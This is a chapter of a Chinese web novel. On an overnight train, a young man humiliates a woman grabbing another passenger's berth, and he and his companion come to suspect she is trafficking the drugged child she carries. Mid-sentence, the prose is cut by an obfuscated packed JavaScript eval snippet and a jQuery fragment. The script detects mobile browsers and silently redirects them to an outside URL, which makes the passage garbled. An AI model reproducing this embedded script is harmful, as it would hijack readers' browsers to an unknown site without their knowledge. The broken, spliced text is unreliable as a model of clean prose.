老太太气得浑身哆嗦,指着沈从周的鼻子就骂:“你!你血口喷人!你这是什么态度!你这是破坏人民内部团结!”

    “哟,还给我扣上大帽子了?”

    沈从周乐了,往前逼近一步,气势十足。

    “我破坏团结?你这种自私自利,专占别人便宜的,才是人民群众里的老鼠屎!”

    “一颗老鼠屎,坏了一锅汤,说的就是你这种人!”

    对面两张嘴,这男的嘴更像是装了机关枪一样,突突突的直射。

    她也不是对方的对手啊!

    老太太见骂不过,干脆心一横,耍起了无赖。

    她一屁股就朝着老大娘的铺位坐下去,嘴里还嚎上了。

    “哎哟喂,没天理了啊!现在的年轻人合起伙来欺负我一个老婆子啊!”

    “我带着生病的孩子,我……我容易吗?为什么就不能帮帮我呢?我不管!今天这下铺我睡定了!”

    这声音**了不少外面的吃瓜群众,大家看着包厢,又开始指指点点。

    不过他们也说不出什么让铺位的话,毕竟原本这铺位的主人也是个老大娘,对方本身也有原因才不让的。

    至于让出他们自己的铺位?

    就更不可能了!

    他们可没那么好心。

    沈从周眼神一冷,耐心彻底告罄:“我再说最后一遍,起来。”

    老太太梗着脖子:“我就不!”

    沈从周面无表情地吐出几个字:“行,你再哔哔一句,我就去找乘警。”

    “就说你寻衅滋事,扰乱公共秩序!”

    “我倒要看看,乘警会怎么处理!”

    话音刚落,老太太的哭嚎声像是被人掐住了脖子,戛然而止。

    她脸上血色尽褪:“别!你别找乘警!”

    她摆着手,刚才的嚣张气焰瞬间荡然无存。

    后来又觉得不对劲,强行挽尊:“行了,我……我不睡下铺不就得了?就这么点小事,不至于找乘警。”

    虽说是这样,沈从周还是敏锐地眯起了眼睛。

    这反应不对劲。

    正常人被这么一吓,顶多是认怂或者骂得更凶,可这老太太的反应,是发自骨子里的恐惧,完全是一种应激反应。

    这老太太肯定不简单!

    见老太太终于老实地缩回自己的中铺,一句话也不敢再多说,包厢里的气氛才缓和下来。

    许念安一直静静地在旁边看着,此刻她轻轻拉了拉沈从周的衣袖,对他使了个眼色。

    沈从周会意,跟着她走出了包厢,来到了嘈杂的过道里。

    “怎么了?”

    许念安压低了声音,神色前所未有的严肃。

    “从周,我觉得那个老太太不对劲。”

    沈从周挑了挑眉:“怎么说?”

    许念安条理清晰地分析起来:“第一,那孩子从上车就一直蔫蔫的,睡得太沉了,咱们包厢刚才吵成那样,他眼皮都没动一下,这不正常。”

    “第二,你看那老太太自己穿的的确良衬衫干干净净,可孩子的衣服又脏又旧,脚上的鞋都穿反了,哪有这么带亲孙子的?”

    “第三,她口口声声说为了孙子,可从头到尾,她连看都没多看那孩子一眼,更别说抱一抱,哄一哄了。”

    “最关键的一点。”,许念安的眼神变得锐利,“就是你刚才拿乘警吓唬她的时候,她的反应太大了,跟耗子见了猫一样。这事儿说破天就是占个铺位,怎么就怕成这样?”

    她顿了顿,说出了自己的猜测。

    “从周,我怀疑……她是个拐卖孩子的人贩子!”

    沈从周听完,眼底闪过一丝赞许。

    “好家伙,许念安同志,你这观察力,不去当侦察员都屈才了。”

    他点了点头,神情也变得凝重。

    “你说的都对,我刚才也想到了这几个关键,这老虔婆十有**有问题。”

    许念安有些紧张地抓紧了他的胳膊:“那我们现在怎么办?”

    沈从周沉吟片刻:“这事儿不能打草惊蛇,万一真是人贩子,狗急了跳墙,伤到孩子就不好了。”

    他拍了拍许念安的手,语气沉稳。

    “这样,我回包厢里盯着她,不让她有任何机会溜走或者伤害孩子。”

    “你呢,现在马上去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643428|206736||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    找乘警,把你的这些观察和怀疑原原本本地告诉他们。”

    “记住,别把话说**,就说你觉得可疑,请他们过来核实一下情况。”

    许念安点了点头,双方兵分两路,开始行动。

    ……

    沈从周深吸一口气,脸上又恢复了那副吊儿郎当的模样,晃晃悠悠地走回了包厢。

    老大娘见他回来,感激地拉住他的手:“小伙子,刚才真是谢谢你了,要不是你,我们这俩老骨头可真要被欺负了。”

    老大爷也连连点头:“是啊,这叫路见不平一声吼,该出手时就出手!你这小同志,思想觉悟就是高!”

    沈从周咧嘴一笑,满不在乎地摆了摆手:“大爷大娘,客气啥!都是一个车厢的乘客,讲究的就是个团结互助嘛。”

    说着,他还特地的顿了顿,看着旁边的老太太:“再有,我就是看不惯这个世道,总有人把鸡毛当令箭,一点都不知道羞耻。”、

    就差点名道姓了。

    老太太气得半死,但是也不敢说什么,把头对着另外一边。

    沈从周手脚麻利地又爬回了上铺。

    他侧躺着,一只手枕在脑后,看似在闭目养神,眼角的余光却一刻也没离开过中铺那个三角眼老太太。

    老太太自从被怼了回去,就跟个锯了嘴的葫芦似的,一句话不说。

    她只是紧紧抱着怀里的孩子,姿势僵硬,像是在抱着一个包裹,而不是一个活生生的人。

    时间一分一秒过去,车厢里恢复了平静,那孩子也确实邪门,从头到尾,别说哭了,连姿势都没换一个,睡得死沉。

    沈从周更加坚信了自己的猜想,肯定有问题!

    转眼就到了半夜十二点。

    车厢里的大多数人都已经进入了梦乡,沈从周也装作睡熟的样子,眼皮耷拉着,呼吸平稳。

    就在这时,中铺传来一阵窸窸窣窣的动静。

    老太太醒了。

    她动作极轻地爬下床,一手抱着孩子,一手拎起自己的小布包,蹑手蹑脚地就想往车厢门口溜。

    沈从周猛地睁开眼睛,声音不大,“大娘,这还没到站呢,您这是急着去哪儿啊?”